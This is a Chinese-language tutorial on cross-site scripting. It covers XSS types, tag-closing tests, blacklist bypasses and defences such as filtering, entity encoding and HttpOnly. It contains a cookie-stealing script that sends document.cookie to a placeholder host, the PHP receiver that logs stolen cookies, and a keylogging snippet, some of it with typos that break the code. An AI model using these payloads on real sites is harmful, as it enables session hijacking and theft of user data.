XSS是指攻击者利用网站程序对用户输入过滤不足的缺陷,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。
XSS主要影响的是用户端的安全,包含用户信息安全、权限安全等。并且多数XSS都依赖于JavaScript脚本开展。
核心要求是构造出能够让前端执行的JS代码,让攻击者的JS代码在受害者浏览器上执行,攻击系统用户而不是系统本身。
JS运行条件:代码位于< script >标签中、代码位于onClick事件或者其他触发事件中、代码位于超链接的href标签中。
本质上是一种将恶意脚本嵌入到当前网页并执行的攻击方式,通常情况下,黑客通过"HTML注入"行为篡改网页,并插入恶意JS脚本,从而在用户浏览网页的时候控制浏览器的行为。
这种漏洞产生的原因是网站对于用户提交的数据过滤不严格,导致用户提交的数据可以修当前页面或插入了一段脚本。
通俗来说,网站一般具有用户输入参数的功能,如网站留言板、评论区等,攻击者利用其用户身份在输入参数时附带了恶意脚本,在提交服务器后,服务器没有对用户端传入的参数做任何安全过滤。之后服务器会根据业务流程,将恶意脚本存储在数据库或直接回显给用户,在用户浏览含有恶意脚本的页面时,恶意脚本会在用户浏览器上成功执行。
恶意脚本有很多种表现形式,如常见的弹窗、窃取用户Cookie、弹出广告等。
存在反射型XSS漏洞的页面只是将用户输入的数据通过URL的形式直接或为经过完善的安全过滤就在浏览器进行输出,会导致输出的数据中存在可被浏览器执行的代码数据。由于此种类型的跨站代码存在于URL中,因此黑客通常需要通过加密变形或诱骗等方式,将恶意代码的连接发给用户,只有用户触发以后才能攻击成功实施。
存储型XSS脚本攻击是指Web应用程序将用户输入从信息保存至服务端的数据库或其他文件形式中,网页进行数据查询展示时,会从数据库中获取数据内容,并将数据内容在网页中进行输出展示,只要用户访问具有XSS攻击脚本的网页时,就会触发攻击效果,因此存储型XSS具有较强的稳定性。
从效果上来说也算是反射型XSS,但是是由JS的DOM节点变成可以改变HTML代码这个特性形成的XSS攻击,基于DOM型的XSS攻击需要针对JS的DOM代码进行而分析,并根据实际情况进行XSS攻击的利用,但实际应用中由于构造语句有较大的难度,且实现效果比较苛刻,因此较为少见。
作为攻击者,如果要利用存储型跨站脚本的攻击,则先需要攻击脚本存储在服务器端,并保证攻击脚本在读取后可顺利执行。
作为防护者,了解到实施存储型跨站攻击的前提及必要条件后,从防护角度,可以选择禁止攻击脚本存储在数据库,即在入库时做处理,获知对攻击脚本进行转义,避免出库时顺利执行。满足以上两种条件的任何一个即可实现有效的防护。
一般情况下XSS攻击时通过HTML注入方式来实现的,也即是说,攻击者通过提交参数意图修改当前页面的HTML结构,XSS攻击成功时,提交的参数格式可在当前页面拼接成可执行的脚本。
目的:确定网站对输出内容是否进行了输出,判断是否可以展开XSS攻击,有时候需要根据输出的位置的HTML环境来编写有效的XSS代码。
有些输出点无法进行回显,例如站长信箱、私信、意见反馈等,这也就是XSS盲打后台。
XSS盲打的目标就是找到输入点插入跨站代码,并且要求插入的代码由管理员在正常Web应用流程中触发。
测试脚本:
通过JS执行弹窗命令alert,内容为xss,点击提交按钮,并刷新页面,发现出现了弹窗,表明测试成功。
判断漏洞是否存在的第一步就是要尝试是否可成功闭合输出点前后的标签,一旦标签闭合成功,则基本可确定XSS漏洞存在。
经典测试代码时效的时候,需要对输出点进行进一步分析,判断输出点周围的标签环境,修改测试代码来达到XSS效果。
比如< textarea >标签会是标签中的内容以文本内容显示,并不会执行JS语句,面对这种参数输出在标签内的情况,在构造注入语句时,就需要先闭合前面的< textarea >标签。
闭合标签的主要目标在于可成功修改当前页页面结构,此步骤如果成功,基本上可以确定XSS漏洞的存在。
由于XSS跨站类型的类型变化多样,可以利用的代码方式十分丰富,黑名单关键词很难考虑周全,因此给跨站攻击带来了可乘之机。
利用经典代码进行测试,猜测后台的过滤机制。如果开发者将< script >等 易于触发脚本执行的标签关键词作为黑名单,就将关键词< script >中的部分字符进行大写转换,利用JS不区分大小写的特性。
针对这种防护效果的缺陷,在实际应用中,系统会对输入数据进行强制小写转换,可利用PHP代码中的strtolower:转小写,strtoupper:转大写。
如果服务器以过滤关键词为防护手段,即只要出现关键词就将其从字符串中删除,那么可以尝试构造一个多余的关键词来让服务器主动删除,留下的内容会自动拼接成关键词,从而利用服务器过滤代码主动删除敏感字的功能实现绕过。
如果服务器过滤严格,通过循环类删除关键词,这时多重嵌套就不适用了。
常见的中文编码格式:GB2312、GBK、等都是常用的宽字节编码,这类编码方案在针对字符进行编码时利用两字节进行编码,宽字节带来的安全问题主要是吃ASCII字符(一字节)现象。
能够触发弹窗效果的不止< script >一种标签,在不同的浏览器、不同的场景、不同的环境下,能够触发攻击效果的跨站代码也不尽相同。
攻击者要通过XSS攻击获取用户的Cookie,就需要编写对应的获取当前Cookie的脚本。
<script>
Document.location='http://www.xxx.com/cookie.php?cookie='+document.cookie;
</script>
用户浏览到留言上这条信息时,浏览器就会加载这段留言信息,从而触发了这个JS攻击脚本,攻击脚本便会读取该正常网站下用户的Cookie,并将Cookie作为参数以GET方式提交到攻击者的远程服务器www.xxx.com,在该远程服务器中,攻击者事先准备好一个cookie.php放在Web根目录。
$cookie=$_GET['cookie'];
$log=fopen("cookie.txt","a");
Fwrite($log,$cookie."/n");
Fclose($log);
?>
当用户触发攻击时,攻击者服务器的cookie.php就会接收受害者传入的Cookie,并保存到本地文件cookie.txt中,若Cookie还在有效期内,攻击者便可以利用该Cookie伪装成受害者用户进行登录。
攻击者精心构造的跨站代码可以实现更多功能,诸如改变网站的前端页面、构建虚假的表单来诱导用户填写信息等。
常见的XSS网络钓鱼方式还有重定向钓鱼、跨框架钓鱼等,高级的网络钓鱼还可以劫持用户表单获取明文密码等。每种钓鱼都要依据跨站漏洞站点的实际情况来部署XSS代码,伪造方式也是层出不穷。
通过JS脚本,攻击者可以获取用户浏览器访问记录、IP地址、开放端口、剪贴板内容、按键机录等许多敏感信息,并将其发送到自己的服务器保存起来。
记录按键信息脚本:
<scrpit>
functin keydown(){
var realkey=String.fromCharCode(event.keyCode);
alert(realkey);}
document.onkeydown=keydown;
</script>
XSS的原理比较直观,就是注入一段能够被浏览器解释执行的代码,并且通过各类手段使得这段代码"镶嵌"在正常网页中,由用户在正常访问中触发。
究其原因,一是客户端使用的Web浏览器本身无法确认存储XSS中的语句十分位网页正常内容。二是Web应用程序中存在广泛的输入/输出交互点,开发人员却常常忽视此问题。
过滤特殊字符的方法又称为XSS Filter,其作用就是过滤客户端提交的有害信息,如果能编写一个较为严密的过滤函数,将输入信息中的关键字都过滤掉,那么跨站脚本就不能被浏览器识别和执行了。注意考虑HTML的特性、JS关键字、空字符、特殊字符。
在此时和使用跨站代码时几乎都会使用到一些常见的特殊符号,有了这些特殊符号,攻击者就能肆意进行闭合标签、篡改页面、提交请求等行为。在输入字符之前,如果能够对特殊字符进行编码和转义,让浏览器知道这些字符被用作文字显示而不是作为代码执行,就会使攻击代码无法被浏览器执行。
HttpOnly是Cookie的一项属性,如果一个Cookie值设置了这个属性,那么浏览器将禁止页面的JS访问这个Cookie
HttpOnly只是防止Cookie被恶意读取的设置,仅仅可阻碍跨站攻击行为偷取用户的Cookie信息。并没有根本解决XSS问题。防护效果有限
用户访问网站的基本基本方式就是浏览页面,并且与网站产生交互行为,XSS漏洞的核心问题在于当前页没有明确区分用户参数和代码,导师由客户端提交的恶意代码会回显给客户端并且执行。
解决XSS漏洞的基本思路是过滤+实体化编码,无论哪种方法都可以使恶意代码无法执行。
相对于XSS漏洞可直接威胁到用户安全的的效果,如果Web应用没有做好当前用户身份的校验,还可能会遭受到请求伪造攻击。